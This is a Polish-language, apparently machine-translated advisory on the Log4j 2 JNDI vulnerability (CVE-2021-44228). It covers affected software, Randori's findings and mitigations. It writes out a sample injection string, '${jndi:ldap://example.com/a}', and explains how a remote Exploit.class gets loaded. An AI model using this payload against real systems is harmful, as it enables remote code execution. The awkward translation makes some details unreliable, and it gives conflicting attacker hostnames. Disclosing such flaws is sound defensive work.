Ostatnio se opublikowaliśmy wiadomość, że w Apache Log4j 2 zidentyfikowano krytyczną lukę, który jest scharakteryzowany jako popularna platforma organizowania rejestru w aplikacjach Java, umożliwiająca wykonanie dowolnego kodu po zapisaniu do rejestru specjalnie sformatowanej wartości w formacie „{jndi:URL}”.
Słaby punkt Jest to godne uwagi, ponieważ atak można przeprowadzić w aplikacjach Java, które:Rejestrują wartości pozyskane ze źródeł zewnętrznych, na przykład wyświetlając problematyczne wartości w komunikatach o błędach.
Zauważono, że dotyczy to prawie wszystkich projektów korzystających z frameworków takich jak Apache Struts, Apache Solr, Apache Druid czy Apache Flink, w tym klienci i serwery Steam, Apple iCloud, Minecraft.
Oczekuje się, że luka ta doprowadzi do fali masowych ataków na aplikacje biznesowe, powtarzając historię krytycznych luk we frameworku Apache Struts, co jest przybliżonym szacunkiem stosowanym w 65% aplikacji internetowych z listy Fortune 100. Aplikacje internetowe firmy obejmowały już zarejestrowane próby skanowania sieci w poszukiwaniu podatnych na ataki systemów.
Luka umożliwia zdalne wykonanie nieuwierzytelnionego kodu. Log4j 2 to biblioteka dzienników Java o otwartym kodzie źródłowym opracowana przez Apache Foundation. Log4j 2 jest szeroko stosowany w wielu aplikacjach i występuje jako zależność w wielu usługach. Należą do nich aplikacje biznesowe, a także liczne usługi w chmurze.
Zespół atakujący Randori opracował funkcjonalny exploit i był w stanie z powodzeniem wykorzystać tę lukę w środowiskach klientów w ramach naszej ofensywnej platformy bezpieczeństwa.
Dostęp do luki można uzyskać za pomocą wielu metod specyficznych dla aplikacji. W rzeczywistości każdy scenariusz, który umożliwia zdalne połączenie w celu dostarczenia dowolnych danych, które aplikacja korzystająca z biblioteki Log4j zapisuje w plikach dziennika, jest podatny na wykorzystanie. Istnieje duże prawdopodobieństwo, że ta luka zostanie wykorzystana w środowisku naturalnym i prawdopodobnie dotknie tysiące organizacji. Ta luka stanowi poważne realne zagrożenie dla systemów, których dotyczy.
Problem potęguje fakt, że opublikowano już funkcjonalny exploit, m.in.Ale poprawki dla stabilnych gałęzi nie zostały jeszcze wygenerowane. Identyfikator CVE nie został jeszcze przypisany. Rozwiązanie jest zawarte tylko w gałęzi testowej log4j-2.15.0-rc1. Jako obejście w celu zablokowania luki zaleca się ustawienie parametru Log4j2.formatMsgNoLookups na true.
Problem wynikało to z faktu, że Log4j 2 obsługuje obsługę specjalnych masek «{}» w wierszach dziennika, w którym Zapytania JNDI można uruchamiać (Java Nazewnictwo i interfejs katalogowy).
Analizując CVE-2021-44228, Randori ustaliła, co następuje:
Domyślne instalacje powszechnie używanego oprogramowania biznesowego są podatne na ataki.
Lukę można wykorzystać niezawodnie i bez uwierzytelniania.
Luka dotyczy wielu wersji Log4j 2.
Luka umożliwia zdalne wykonanie kodu, gdy użytkownik uruchamia aplikację korzystającą z biblioteki.
Atak sprowadza się do przekazania ciągu znaków z podstawieniem "$ {jndi:ldap: //example.com/a}", przetworzeniem którego Log4j 2 wyśle żądanie LDAP o ścieżkę do klasy Java do serwera attacker.com . Ścieżka zwrócona przez serwer atakującego (na przykład http://example.com/Exploit.class) zostanie załadowana i wykonana w kontekście bieżącego procesu, co pozwoli atakującemu na wykonanie dowolnego kodu w systemie z uprawnieniami aktualnej aplikacji.
Wreszcie jest o tym mowa jeśli zostaną znalezione nieprawidłowości, zaleca się, aby założyć, że jest to aktywny incydent, że zostało naruszone, i odpowiednio zareagować. Uaktualnienie do poprawionych wersji Log4j 2 lub aplikacji, których dotyczy problem, wyeliminuje tę lukę. Randori zaleca każdej organizacji, która jej zdaniem może być dotknięta problemem, pilną aktualizację do wersji z łatami.
W najnowszej aktualizacji zespołu Apache Log4j, zaleca organizacjom wykonanie następujących czynności
- Aktualizacja do Log4j 2.15.0
- W przypadku osób, które nie mogą uaktualnić do wersji 2.15.0: W wersjach > = 2.10, tę lukę można ograniczyć, ustawiając właściwość systemową log4j2.formatMsgNoLookup lub zmienną środowiskową LOG4J_FORMAT_MSG_NO_LOOKUPS na wartość true.
- W przypadku wersji 2,0-beta9 do 2.10.0 ograniczeniem jest usunięcie klasy JndiLookup ze ścieżki klasy: zip -q -d log4j-core - *.Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.
źródło: https://www.lunasec.io/